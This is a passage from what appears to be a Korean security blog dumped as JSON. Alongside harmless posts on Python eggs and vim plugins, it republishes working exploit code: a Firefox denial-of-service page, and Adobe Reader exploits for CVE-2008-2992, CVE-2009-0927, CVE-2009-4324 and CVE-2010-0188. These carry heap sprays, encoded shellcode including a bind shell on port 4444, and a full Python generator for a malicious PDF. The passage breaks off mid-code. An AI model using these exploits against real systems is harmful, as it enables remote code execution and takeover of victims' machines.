\\x55\\x89\\xe5\\x53\\x83\\xec\\x04\\xa1\\x28\\x95\\x04\\x08\\x83\\xf8\\xff\\x74\\x13\\xbb\\x28\\x95\\x04\\x08\\x66\\x90\\x83\\xeb\\x04\\xff\\xd0\\x8b\\x03\\x83\\xf8\\xff\\x75\\xf4\\x83\\xc4\\x04\\x5b\\x5d\\xc3\\x90\\x90 ############################################################ # \u0026lt;_fini\u0026gt; ############################################################ _fini\u0026gt;: 804848c: 55 push %ebp 804848d: 89 e5 mov %esp,%ebp 804848f: 53 push %ebx 8048490: 83 ec 04 sub $0x4,%esp 8048493: e8 00 00 00 00 call 8048498 \u0026lt;_fini+0xc\u0026gt; 8048498: 5b pop %ebx 8048499: 81 c3 70 11 00 00 add $0x1170,%ebx 804849f: e8 6c fe ff ff call 8048310 \u0026lt;__do_global_dtors_aux\u0026gt; 80484a4: 59 pop %ecx 80484a5: 5b pop %ebx 80484a6: c9 leave 80484a7: c3 ret \\x55\\x89\\xe5\\x53\\x83\\xec\\x04\\xe8\\x00\\x00\\x00\\x00\\x5b\\x81\\xc3\\x70\\x11\\x00\\x00\\xe8\\x6c\\xfe\\xff\\xff\\x59\\x5b\\xc9\\xc3 필요한 부분만 뽑아서 쓰시면 되겠죠? :-)\n혹시나 이보다 더 간단하게 뽑아내는 방법을 아시는 분이 계시면 리플 부탁 드립니다. 명령어로 그냥 쉽게 될거 같은데 전 잘 모르겠네요 XD\n","date":"2010-12-09T05:53:11Z","permalink":"/2010/12/09/objdump%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%89%98%EC%BD%94%EB%93%9C-%EC%B6%94%EC%B6%9C-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8/","title":"objdump를 이용한 쉘코드 추출 스크립트"},{"content":"여기서 설명하는 윈도우 환경이며 리눅스 환경도 유사할 것으로 보인다. 먼저 setuptools 라는 패키지가 필요하다. 아래 URL에서 다운로드 하여 설치하도록 하자. 다운로드 : http://pypi.python.org/pypi/setuptools\n설치를 하면 아래 경로에 easy_install.exe 같은 파일이 생성된다. 생성되는 파일 : Python 설치경로\\Scripts\\easy_install.exe\n해당 파일을 이용하여 아래와 같이 패키지를 설치 및 제거를 할 수 있다.\n설치 : easy_install /my_downloads/OtherPackage-3.2.1-py2.3.egg 제거 : easy_install -m PackageName\n설치되는 경로는 Python 설치경로\\Lib\\site-packages이하에 생성되며 easy_install.pyt 파일에 정보가 기록된다. 제거 시 해당 경로에서 정상적으로 제거가 되었는지 확인을 하면 된다.\n","date":"2010-12-01T16:32:55Z","permalink":"/2010/12/01/python-egg-%ED%99%95%EC%9E%A5%EC%9E%90%EB%A1%9C-%EB%90%9C-%ED%8C%A8%ED%82%A4%EC%A7%80-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"Python EGG 확장자로 된 패키지 설치하기"},{"content":"vim 에서 자동으로 자동완성을 해주는 플러그인을 설치해 보도록 하겠습니다. 제가 설치한 환경은 Cygwin에 설치된 vim 입니다.\nAutoComplPop : http://www.vim.org/scripts/script.php?script_id=1879 L9 : http://www.vim.org/scripts/script.php?script_id=3252\n위 플러그인을 /usr/share/vim/vim73 이하 autoload, doc, plugin 폴더에 각각 설치합니다. 마지막으로 .vimrc에 아래 코드를 추가합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function! InsertTabWrapper() let col = col(\u0026#39;.\u0026#39;) - 1 if !col || getline(\u0026#39;.\u0026#39;)[col-1]!~\u0026#39;\\k\u0026#39; return \u0026#34;\\\u0026lt;TAB\u0026gt;\u0026#34; else if pumvisible() return \u0026#34;\\\u0026lt;C-P\u0026gt;\u0026#34; else return \u0026#34;\\\u0026lt;C-N\u0026gt;\\\u0026lt;C-P\u0026gt;\u0026#34; end endif endfunction inoremap \u0026lt;tab\u0026gt; \u0026lt;c-r\u0026gt;=InsertTabWrapper()\u0026lt;cr\u0026gt; inoremap \u0026lt;expr\u0026gt; \u0026lt;CR\u0026gt; pumvisible() ? \u0026#34;\u0026lt;C-Y\u0026gt;\u0026lt;CR\u0026gt;\u0026#34; : \u0026#34;\u0026lt;CR\u0026gt;\u0026#34; 출처 : http://arth.tistory.com/33\n","date":"2010-11-19T14:46:23Z","permalink":"/2010/11/19/vim-%EC%9E%90%EB%8F%99%EC%99%84%EC%84%B1-%ED%94%8C%EB%9F%AC%EA%B7%B8%EC%9D%B8/","title":"vim 자동완성 플러그인"},{"content":"최근에 Firefox 취약점이 자주 나오네요.. 불안하게 -_- 출처 : http://www.exploit-db.com/exploits/15498/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 \u0026lt;!-- 0day Mozilla Firefox \u0026lt;= 3.6.12 Remote Denial Of Service Credits: Emanuele \u0026#39;emgent\u0026#39; Gentili \u0026lt;emgent@backtrack-linux.org\u0026gt; Marco \u0026#39;white_sheep\u0026#39; Rondini \u0026lt;white_sheep@backtrack-linux.org\u0026gt; Alessandro \u0026#39;scox\u0026#39; Scoscia \u0026lt;scox@backtrack.it\u0026gt; --\u0026gt; \u0026lt;script\u0026gt;document.write(\u0026#34;\\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\u0026#34;)\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; var i=0; for (i=0;i\u0026lt;=19999;i++) { document.write(\u0026#34;a\u0026#34;); } for (i=0;i\u0026lt;=3;i++) { document.write(document.body.innerHTML); } \u0026lt;/script\u0026gt; ","date":"2010-11-12T19:04:57Z","permalink":"/2010/11/12/mozilla-firefox-3612-remote-denial-of-service/","title":"Mozilla Firefox \u003c= 3.6.12 Remote Denial Of Service"},{"content":"Adobe 관련 취약점들이 수도없이 쏟아져 나왔으며 계속해서 나오고 있다. 정리가 필요할 거 같아 정리해둔다. 빠진건 계속해서 업데이트 하고 우선 이것들만...... 이후엔 Sandbox 형태로 바뀔거라고 하던데 과연?\nutil.printf - CVE-2008-2992 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Adobe Reader Javascript Printf Buffer Overflow Exploit =========================================================== Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow CVE-2008-2992 Thanks to coresecurity for the technical background. 6Nov,2008: Exploit released by me Credits: Debasis Mohanty www.hackingspirits.com www.coffeeandsecurity.com =========================================================== //Exploit by Debasis Mohanty (aka nopsledge/Tr0y) //www.coffeeandsecurity //www.hackingspirits.com // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var payload = unescape(\u0026#34;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350\u0026#34;); //Heap Spray starts here - Kiddos don\u0026#39;t mess up with this var nop =\u0026#34;\u0026#34;; for (iCnt=128;iCnt\u0026gt;=0;--iCnt) nop += unescape(\u0026#34;%u9090%u9090%u9090%u9090%u9090\u0026#34;); heapblock = nop + payload; bigblock = unescape(\u0026#34;%u9090%u9090\u0026#34;); headersize = 20; spray = headersize+heapblock.length while (bigblock.length\u0026lt;spray) bigblock+=bigblock; fillblock = bigblock.substring(0, spray); block = bigblock.substring(0, bigblock.length-spray); while(block.length+spray \u0026lt; 0x40000) block = block+block+fillblock; mem = new Array(); for (i=0;i\u0026lt;1400;i++) mem[i] = block + heapblock; // reference snippet from core security // http://www.coresecurity.com/content/adobe-reader-buffer-overflow var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 util.printf(\u0026#34;%45000f\u0026#34;,num); # milw0rm.com [2008-11-05] Collab.getIcon - CVE-2009-0927 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function spary() { var shellcode = unescape(\u0026#34;%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580\u0026#34;); garbage = unescape(\u0026#34;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090\u0026#34;) + shellcode; nopblock = unescape(\u0026#34;%u9090%u9090\u0026#34;); headersize = 10; acl = headersize+garbage.length; while (nopblock.length\u0026lt;acl) nopblock+=nopblock; fillblock = nopblock.substring(0, acl); block = nopblock.substring(0, nopblock.length-acl); while(block.length+acl\u0026lt;0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i\u0026lt;180;i++) memory[i] = block + garbage; var buffersize = 4012; var buffer = Array(buffersize); for (i=0; i\u0026lt;buffersize; i++) { buffer[i] = unescape(\u0026#34;%0a%0a%0a%0a\u0026#34;); } Collab.getIcon(buffer+\\\u0026#39;_N.bundle\\\u0026#39;); } spary(); newplayer - CVE-2009-4324 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 # # Author : Ahmed Obied (ahmed.obied@gmail.com) # # This program generates a PDF file that exploits a vulnerability (CVE-2009-4324) # in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe # Reader 9.2.0 on Windows XP SP3. The exploit\u0026#39;s payload spawns the calculator. # # Usage : python adobe_newplayer.py [output file name] # import sys class PDF: def __init__(self): self.xrefs = [] self.eol = \u0026#39;\\x0d\\x0a\u0026#39; self.content = \u0026#39;\u0026#39; self.xrefs_offset = 0 def header(self): self.content += \u0026#39;%PDF-1.1\u0026#39; + self.eol def obj(self, obj_num, data): self.xrefs.append(len(self.content)) self.content += \u0026#39;%d 0 obj\u0026#39; % obj_num self.content += self.eol + \u0026#39;\u0026lt;\u0026lt; \u0026#39; + data + \u0026#39; \u0026gt;\u0026gt;\u0026#39; + self.eol self.content += \u0026#39;endobj\u0026#39; + self.eol def ref(self, ref_num): return \u0026#39;%d 0 R\u0026#39; % ref_num def xref(self): self.xrefs_offset = len(self.content) self.content += \u0026#39;xref\u0026#39; + self.eol self.content += \u0026#39;0 %d\u0026#39; % (len(self.xrefs) + 1) self.content += self.eol self.content += \u0026#39;0000000000 65535 f\u0026#39; + self.eol for i in self.xrefs: self.content += \u0026#39;%010d 00000 n\u0026#39; % i self.content += self.eol def trailer(self): self.content += \u0026#39;trailer\u0026#39; + self.eol self.content += \u0026#39;\u0026lt;\u0026lt; /Size %d\u0026#39; % (len(self.xrefs) + 1) self.content += \u0026#39; /Root \u0026#39; + self.ref(1) + \u0026#39; \u0026gt;\u0026gt; \u0026#39; + self.eol self.content += \u0026#39;startxref\u0026#39; + self.eol self.content += \u0026#39;%d\u0026#39; % self.xrefs_offset self.content += self.eol self.content += \u0026#39;%%EOF\u0026#39; def generate(self): return self.content class Exploit: def convert_to_utf16(self, payload): enc_payload = \u0026#39;\u0026#39; for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) \u0026amp; 0xff) \u0026lt;\u0026lt; (j * 8) enc_payload += \u0026#39;%%u%04x\u0026#39; % num return enc_payload def get_payload(self): # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub # http://metasploit.com payload = \u0026#39;\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x6f\u0026#39; payload += \u0026#39;\\x02\\xb1\\x0e\\x83\\xeb\\xfc\\xe2\\xf4\\x93\\xea\\xf5\\x0e\\x6f\\x02\\x3a\\x4b\u0026#39; payload += \u0026#39;\\x53\\x89\\xcd\\x0b\\x17\\x03\\x5e\\x85\\x20\\x1a\\x3a\\x51\\x4f\\x03\\x5a\\x47\u0026#39; payload += \u0026#39;\\xe4\\x36\\x3a\\x0f\\x81\\x33\\x71\\x97\\xc3\\x86\\x71\\x7a\\x68\\xc3\\x7b\\x03\u0026#39; payload += \u0026#39;\\x6e\\xc0\\x5a\\xfa\\x54\\x56\\x95\\x0a\\x1a\\xe7\\x3a\\x51\\x4b\\x03\\x5a\\x68\u0026#39; payload += \u0026#39;\\xe4\\x0e\\xfa\\x85\\x30\\x1e\\xb0\\xe5\\xe4\\x1e\\x3a\\x0f\\x84\\x8b\\xed\\x2a\u0026#39; payload += \u0026#39;\\x6b\\xc1\\x80\\xce\\x0b\\x89\\xf1\\x3e\\xea\\xc2\\xc9\\x02\\xe4\\x42\\xbd\\x85\u0026#39; payload += \u0026#39;\\x1f\\x1e\\x1c\\x85\\x07\\x0a\\x5a\\x07\\xe4\\x82\\x01\\x0e\\x6f\\x02\\x3a\\x66\u0026#39; payload += \u0026#39;\\x53\\x5d\\x80\\xf8\\x0f\\x54\\x38\\xf6\\xec\\xc2\\xca\\x5e\\x07\\x7c\\x69\\xec\u0026#39; payload += \u0026#39;\\x1c\\x6a\\x29\\xf0\\xe5\\x0c\\xe6\\xf1\\x88\\x61\\xd0\\x62\\x0c\\x2c\\xd4\\x76\u0026#39; payload += \u0026#39;\\x0a\\x02\\xb1\\x0e\u0026#39; return self.convert_to_utf16(payload) def get_exploit(self): exploit = \u0026#39;\u0026#39;\u0026#39; function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x8000; payload = unescape(\u0026#34;\u0026lt;PAYLOAD\u0026gt;\u0026#34;); nopsled = unescape(\u0026#34;\u0026lt;NOP\u0026gt;\u0026#34;); while (nopsled.length \u0026lt; chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i \u0026lt; \u0026lt;CHUNKS\u0026gt; ; i++) heap_chunks[i] = nopsled + payload; } function trigger_bug() { util.printd(\u0026#34;1.000000000000000000000000 : 0000000\u0026#34;, new Date()); try { media.newPlayer(null); } catch(e) {} util.printd(\u0026#34;1.000000000000000000000000 : 0000000\u0026#34;, new Date()); } spray_heap(); trigger_bug(); \u0026#39;\u0026#39;\u0026#39; exploit = exploit.replace(\u0026#39;\u0026lt;PAYLOAD\u0026gt;\u0026#39;, self.get_payload()) exploit = exploit.replace(\u0026#39;\u0026lt;NOP\u0026gt;\u0026#39;, \u0026#39;%u0d0d%u0d0d\u0026#39;) exploit = exploit.replace(\u0026#39;\u0026lt;CHUNKS\u0026gt;\u0026#39;, \u0026#39;1200\u0026#39;) return exploit def generate_pdf(): exploit = Exploit() pdf = PDF() pdf.header() pdf.obj(1, \u0026#39;/Type /Catalog /Outlines \u0026#39; + pdf.ref(2) + \u0026#39; /Pages \u0026#39; + pdf.ref(3) + \u0026#39; /OpenAction \u0026#39; + pdf.ref(5)) pdf.obj(2, \u0026#39;/Type /Outlines /Count 0\u0026#39;) pdf.obj(3, \u0026#39;/Type /Pages /Kids [\u0026#39; + pdf.ref(4) + \u0026#39;] /Count 1\u0026#39;) pdf.obj(4, \u0026#39;/Type /Page /Parent \u0026#39; + pdf.ref(3) + \u0026#39; /MediaBox [0 0 612 792]\u0026#39;) pdf.obj(5, \u0026#39;/Type /Action /S /JavaScript /JS (%s)\u0026#39; % exploit.get_exploit()) pdf.xref() pdf.trailer() return pdf.generate() def main(): if len(sys.argv) != 2: print \u0026#39;Usage: python %s [output file name]\u0026#39; % sys.argv[0] sys.exit(0) file_name = sys.argv[1] if not file_name.endswith(\u0026#39;.pdf\u0026#39;): file_name = file_name + \u0026#39;.pdf\u0026#39; try: fd = open(file_name, \u0026#39;w\u0026#39;) fd.write(generate_pdf()) fd.close() print \u0026#39;[-] PDF file generated and written to %s\u0026#39; % file_name except IOError: print \u0026#39;[*] Error : An IO error has occurred\u0026#39; print \u0026#39;[-] Exiting ...\u0026#39; sys.exit(-1) if __name__ == \u0026#39;__main__\u0026#39;: main() LibTiff Integer Overflow Code Execution - CVE-2010-0188 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 __doc__=\u0026#39;\u0026#39;\u0026#39; Title: Adobe PDF LibTiff Integer Overflow Code Execution. Product: Adobe Acrobat Reader Version: \u0026lt;=8.3.0, \u0026lt;=9.3.0 CVE: 2010-0188 Author: villy (villys777 at gmail.com) Site: http://bugix-security.blogspot.com/ Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3) ------------------------------------------------------------------------ \u0026#39;\u0026#39;\u0026#39; import sys import base64 import struct import zlib import StringIO SHELLCODE_OFFSET=0x555 TIFF_OFSET=0x2038 # windows/exec - 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=process, CMD=calc.exe buf = \u0026#34;\\x2b\\xc9\\xd9\\xc0\\xd9\\x74\\x24\\xf4\\x5e\\xb1\\x33\\xba\\xd9\\xb4\u0026#34; buf += \u0026#34;\\x0a\\xbe\\x31\\x56\\x15\\x03\\x56\\x15\\x83\\x1f\\xb0\\xe8\\x4b\\x63\u0026#34; buf += \u0026#34;\\x51\\x65\\xb3\\x9b\\xa2\\x16\\x3d\\x7e\\x93\\x04\\x59\\x0b\\x86\\x98\u0026#34; buf += \u0026#34;\\x29\\x59\\x2b\\x52\\x7f\\x49\\xb8\\x16\\xa8\\x7e\\x09\\x9c\\x8e\\xb1\u0026#34; buf += \u0026#34;\\x8a\\x10\\x0f\\x1d\\x48\\x32\\xf3\\x5f\\x9d\\x94\\xca\\x90\\xd0\\xd5\u0026#34; buf += \u0026#34;\\x0b\\xcc\\x1b\\x87\\xc4\\x9b\\x8e\\x38\\x60\\xd9\\x12\\x38\\xa6\\x56\u0026#34; buf += \u0026#34;\\x2a\\x42\\xc3\\xa8\\xdf\\xf8\\xca\\xf8\\x70\\x76\\x84\\xe0\\xfb\\xd0\u0026#34; buf += \u0026#34;\\x35\\x11\\x2f\\x03\\x09\\x58\\x44\\xf0\\xf9\\x5b\\x8c\\xc8\\x02\\x6a\u0026#34; buf += \u0026#34;\\xf0\\x87\\x3c\\x43\\xfd\\xd6\\x79\\x63\\x1e\\xad\\x71\\x90\\xa3\\xb6\u0026#34; buf += \u0026#34;\\x41\\xeb\\x7f\\x32\\x54\\x4b\\x0b\\xe4\\xbc\\x6a\\xd8\\x73\\x36\\x60\u0026#34; buf += \u0026#34;\\x95\\xf0\\x10\\x64\\x28\\xd4\\x2a\\x90\\xa1\\xdb\\xfc\\x11\\xf1\\xff\u0026#34; buf += \u0026#34;\\xd8\\x7a\\xa1\\x9e\\x79\\x26\\x04\\x9e\\x9a\\x8e\\xf9\\x3a\\xd0\\x3c\u0026#34; buf += \u0026#34;\\xed\\x3d\\xbb\\x2a\\xf0\\xcc\\xc1\\x13\\xf2\\xce\\xc9\\x33\\x9b\\xff\u0026#34; buf += \u0026#34;\\x42\\xdc\\xdc\\xff\\x80\\x99\\x13\\x4a\\x88\\x8b\\xbb\\x13\\x58\\x8e\u0026#34; buf += \u0026#34;\\xa1\\xa3\\xb6\\xcc\\xdf\\x27\\x33\\xac\\x1b\\x37\\x36\\xa9\\x60\\xff\u0026#34; buf += \u0026#34;\\xaa\\xc3\\xf9\\x6a\\xcd\\x70\\xf9\\xbe\\xae\\x17\\x69\\x22\\x1f\\xb2\u0026#34; buf += \u0026#34;\\x09\\xc1\\x5f\\x00\u0026#34; class CVE20100188Exploit: def __init__(self,shellcode): self.shellcode = shellcode self.tiff64=base64.b64encode(self.gen_tiff()) def gen_tiff(self): tiff = \u0026#39;\\x49\\x49\\x2a\\x00\u0026#39; tiff += struct.pack(\u0026#34;\u0026lt;L\u0026#34;, TIFF_OFSET) tiff += \u0026#39;\\x90\u0026#39; * (SHELLCODE_OFFSET) tiff += self.shellcode tiff += \u0026#39;\\x90\u0026#39; * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET) tiff += \u0026#34;\\x07\\x00\\x00\\x01\\x03\\x00\\x01\\x00\u0026#34; tiff += \u0026#34;\\x00\\x00\\x30\\x20\\x00\\x00\\x01\\x01\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\u0026#34; tiff += \u0026#34;\\x00\\x00\\x03\\x01\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x01\u0026#34; tiff += \u0026#34;\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x01\\x04\\x00\\x01\\x00\u0026#34; tiff += \u0026#34;\\x00\\x00\\x08\\x00\\x00\\x00\\x17\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x30\\x20\u0026#34; tiff += \u0026#34;\\x00\\x00\\x50\\x01\\x03\\x00\\xCC\\x00\\x00\\x00\\x92\\x20\\x00\\x00\\x00\\x00\u0026#34; tiff += \u0026#34;\\x00\\x00\\x00\\x0C\\x0C\\x08\\x24\\x01\\x01\\x00\\xF7\\x72\\x00\\x07\\x04\\x01\u0026#34; tiff += \u0026#34;\\x01\\x00\\xBB\\x15\\x00\\x07\\x00\\x10\\x00\\x00\\x4D\\x15\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x00\\x03\\xFE\\x7F\\xB2\\x7F\\x00\\x07\\xBB\\x15\\x00\\x07\\x11\\x00\u0026#34; tiff += \u0026#34;\\x01\\x00\\xAC\\xA8\\x00\\x07\\xBB\\x15\\x00\\x07\\x00\\x01\\x01\\x00\\xAC\\xA8\u0026#34; tiff += \u0026#34;\\x00\\x07\\xF7\\x72\\x00\\x07\\x11\\x00\\x01\\x00\\xE2\\x52\\x00\\x07\\x54\\x5C\u0026#34; tiff += \u0026#34;\\x00\\x07\\xFF\\xFF\\xFF\\xFF\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x04\\x01\u0026#34; tiff += \u0026#34;\\x01\\x00\\x00\\x10\\x00\\x00\\x40\\x00\\x00\\x00\\x31\\xD7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x5A\\x52\\x6A\\x02\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x58\\xCD\\x2E\\x3C\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x05\\x5A\\x74\\xF4\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xB8\\x49\\x49\\x2A\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x00\\x8B\\xFA\\xAF\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\x75\\xEA\\x87\\xFE\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xEB\\x0A\\x5F\\xB9\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xE0\\x03\\x00\\x00\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xF3\\xA5\\xEB\\x09\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xE8\\xF1\\xFF\\xFF\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xFF\\x90\\x90\\x90\\x4D\\x15\\x00\\x07\\x22\\xA7\\x00\\x07\\xBB\\x15\u0026#34; tiff += \u0026#34;\\x00\\x07\\xFF\\xFF\\xFF\\x90\\x4D\\x15\\x00\\x07\\x31\\xD7\\x00\\x07\\x2F\\x11\u0026#34; tiff += \u0026#34;\\x00\\x07\u0026#34; return tiff def gen_xml(self): xml= \u0026#39;\u0026#39;\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; ?\u0026gt; \u0026lt;xdp:xdp xmlns:xdp=\u0026#34;http://ns.adobe.com/xdp/\u0026#34;\u0026gt; \u0026lt;config xmlns=\u0026#34;http://www.xfa.org/schema/xci/1.0/\u0026#34;\u0026gt; \u0026lt;present\u0026gt; \u0026lt;pdf\u0026gt; \u0026lt;version\u0026gt;1.65\u0026lt;/version\u0026gt; 